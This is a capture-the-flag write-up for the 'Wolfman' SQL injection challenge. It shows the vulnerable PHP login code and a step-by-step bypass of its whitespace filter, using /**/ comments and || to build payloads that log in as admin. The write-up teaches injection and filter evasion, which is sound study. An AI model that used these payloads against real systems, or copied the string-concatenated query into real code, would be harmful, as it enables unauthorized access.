Wolfman

Bypass whitespace filter

Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

Line 6: preg_match disallows whitespace in the parameter 'pw'.

Line 7: Query accepts user-supplied input and stores it in 'pw'.

Line 10: Assigning 'admin' to the 'id' parameter will solve the challenge.

Query

SELECT id FROM prob_wolfman WHERE id='guest' AND pw=''

Testing

Vulnerable parameter is 'pw'.

pw=' OR id=guest returns "No whitespace ~_~".

The 2 whitespaces can be replaced with a "comment", /**/ resulting in the following:

pw='/**/OR/**/id=guest returns nothing, however the query shows our injection went through and a single quote is missing in the 'id' parameter.

SELECT id FROM prob_wolfman WHERE id='guest' AND pw=''/**/OR/**/id=guest'

Insert a single quote before 'guest':

pw='/**/OR/**/id='guest returns "Hello guest". Indicating the query was successful.

Finally the challenge can be solved by replacing 'guest' with 'admin'.

pw='/**/OR/**/id='admin returns "Hello admin".

Note: the OR operator represented as || can also be used: pw='||id='admin

Effective Query

SELECT id FROM prob_wolfman WHERE id='guest' AND pw=''/**/OR/**/id='admin'

Reference

https://portswigger.net/support/sql-injection-bypassing-common-filters